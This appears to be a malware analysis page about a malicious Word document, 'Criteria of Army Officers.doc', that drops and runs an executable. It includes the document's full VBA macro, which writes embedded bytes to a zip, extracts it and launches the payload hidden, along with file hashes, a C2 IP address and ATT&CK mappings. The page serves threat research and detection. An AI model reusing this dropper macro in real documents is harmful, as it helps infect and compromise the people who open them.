4.2 KiB
4.2 KiB
Not as so transparent
Table of Contents
- Malware analysis
- Threat Intelligence
- Cyber kill chain
- Indicators Of Compromise (IOC)
- Yara Rules
- References MITRE ATT&CK Matrix
- Knowledge Graph
- Links
Malware analysis
The initial vector is a maldoc called ```"Criteria of Army Officers.doc" ```, this use a macro for extract and execute the PE file depends on the version of the operating system
Sub unMoferzip(Fname As Variant, FileNameFolder As Variant)
Dim FSO As Object
Dim oApp As Object
'Extract the files into the Destination folder
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub
Sub MoferfileLdr()
Dim path_Mofer_file As String
Dim file_Mofer_name As String
Dim zip_Mofer_file As Variant
Dim fldr_Mofer_name As Variant
file_Mofer_name = "ulhtagnias"
fldr_Mofer_name = Environ$("ALLUSERSPROFILE") & "\DeIA-WIR\"
If Dir(fldr_Mofer_name, vbDirectory) = "" Then
MkDir (fldr_Mofer_name)
End If
zip_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".zip"
path_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".exe"
Dim ar1Mofer() As String
Dim btsMofer() As Byte
If InStr(Application.System.Version, "6.2") > 0 Or InStr(Application.System.Version, "6.3") > 0 Then
ar1Mofer = Split(UserForm1.TextBox2.Text, "'")
Else
ar1Mofer = Split(UserForm1.TextBox1.Text, "'")
End If
Dim linMofer As Double
linMofer = 0
For Each vl In ar1Mofer
ReDim Preserve btsMofer(linMofer)
btsMofer(linMofer) = CByte(vl)
linMofer = linMofer + 1
Next
Open zip_Mofer_file For Binary Access Write As #2
Put #2, , btsMofer
Close #2
If Len(Dir(path_Mofer_file)) = 0 Then
Call unMoferzip(zip_Mofer_file, fldr_Mofer_name)
End If
Shell path_Mofer_file, vbNormalNoFocus
End Sub
Threat Intelligence
Cyber kill chain
Indicators Of Compromise (IOC)
List of all the Indicators Of Compromise (IOC)
| Indicator | Description |
|---|---|
| Criteria of Army Officers.doc | 1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1 |
| ulhtagnias.exe | d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67 |
| 198.46.177.73 | IP C2 |
The IOC can be exported in JSON
References MITRE ATT&CK Matrix
| Enterprise tactics | Technics used | Ref URL |
|---|---|---|
| Discovery | Query Registry | https://attack.mitre.org/techniques/T1012/ |
| C&C | Uncommonly Used Port | https://attack.mitre.org/techniques/T1065/ |
| Defense Evasion | Scripting | https://attack.mitre.org/techniques/T1064/ |
| Execution | Scripting | https://attack.mitre.org/techniques/T1064/ |
This can be exported as JSON format Export in JSON
Yara Rules
A list of YARA Rule is available here
Knowledge Graph
The following diagram shows the relationships of the techniques used by the groups and their corresponding malware: